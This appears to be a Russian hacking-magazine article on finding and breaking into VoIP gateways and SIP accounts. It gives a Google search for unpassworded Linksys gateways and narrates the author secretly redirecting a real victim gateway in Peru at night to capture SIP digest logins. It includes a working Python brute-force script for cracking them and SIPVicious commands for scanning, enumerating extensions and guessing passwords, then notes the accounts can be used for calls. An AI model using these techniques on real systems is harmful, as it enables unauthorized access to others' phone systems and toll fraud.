Источник:
1 |
http://www.xakep.ru/post/56194/ - Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы |
Вводная информация:
1 2 3 4 5 6 7 8 |
На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки могут быть доступны извне. На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", то найдется немало шлюзов Линксис, на которых не выставлен пароль. |
SIP-регистрация:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. Если они верные, то возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. Затем применяем настройки. Простейший пир из /etc/sip.conf: [peru] type=friend username=*username со шлюза* secret=helloworld host=dynamic disallow=all allow=alaw allow=ulaw Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я возвращаю прежнее значение Proxy и снова применяю настройки. |
Подбор пароля
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
Далее я открываю дамп (например, при помощи Wireshark). Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. В нем мне нужно перебирать весь алфавит. Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). А также задать длину пароля, начальное и конечное его значения. Запрос на регистрацию в Wireshark #!/usr/bin/python import md5 # подключаем библиотеку, которая будет генерить md5-хэш # дальше идет класс для подбора пароля EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" # перечисление алфавитов en = "abcdefghijklmnopqrstuvwxyz" digits = "1234567890" space = " " p = ",.-!?;:'\"/()" op = "+-*/:^()><=" all_spec = "'~!@#$%^&*-_=+\\|/?.>,>'\";:[]{}" class ABCIterator: # ... здесь следует класс, спертый из интернета :) # ... # класс закончился, переходим к вводу данных u=(raw_input('username >> ')); b=(raw_input('realm >> ')); m=(raw_input('method >> ')); d = (raw_input('digestURI >> ')); r = (raw_input('response >> ')); n = (raw_input('nonce >> ')); print u,b,m,d,r,n; ha2= md5.new(m+":"+d).hexdigest(); # генерим часть ha2 — она будет использоваться для хэширования response=0; ch=0; # в эту переменную будет сохраняться # порядковый номер пароля for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en): # указываем, что длина пароля начинается с 1, # заканчивается на 8, # и при переборе используются # цифры и буквы нижнего регистра ch = ch+1; if ch % 500000 == 0: print i; # это позволяет выводить на экран только каждый 500000-ый # вариант пароля ha1 = md5.new(u+":"+b+":"+i).hexdigest(); response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем if r == response: # сравниваем хэш с полученным от шлюза print "------------------>", i; # если они совпадают, выводит пароль и прекращаем поиск exit(0); |
Как брутят SIP-аккаунты?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
Многие атаки на VoIP сводятся к поиску неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС. Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, написанных на Python'е и работающих под разными ОС. Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере. 1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX. [you@box sipvicious]$ ./svmap 192.168.1.1/24 | SIP Device | User Agent | --------------------------------------------- | 192.168.1.103:5060 | Asterisk PBX | Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX. 2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. Эти аккаунты можно будет использовать для осуществления звонков. [you@box sipvicious]$ ./svwar.py 192.168.1.103 | Extension | Authentication | ------------------------------ | 123 | reqauth | | 100 | reqauth | | 101 | noauth | Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. А для 100 и 123 необходима авторизация. 3. Подбор пароля, подставляя числовые значения (они используются более чем часто): [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100 | Extension | Password | ------------------------ | 100 | 100 | Для extention’а "100" пароль подобран! 4. Подбор пароля с использованием словаря: [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt | Extension | Password | ------------------------ | 123 | secret | Есть пароль и для номера 123! Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки. |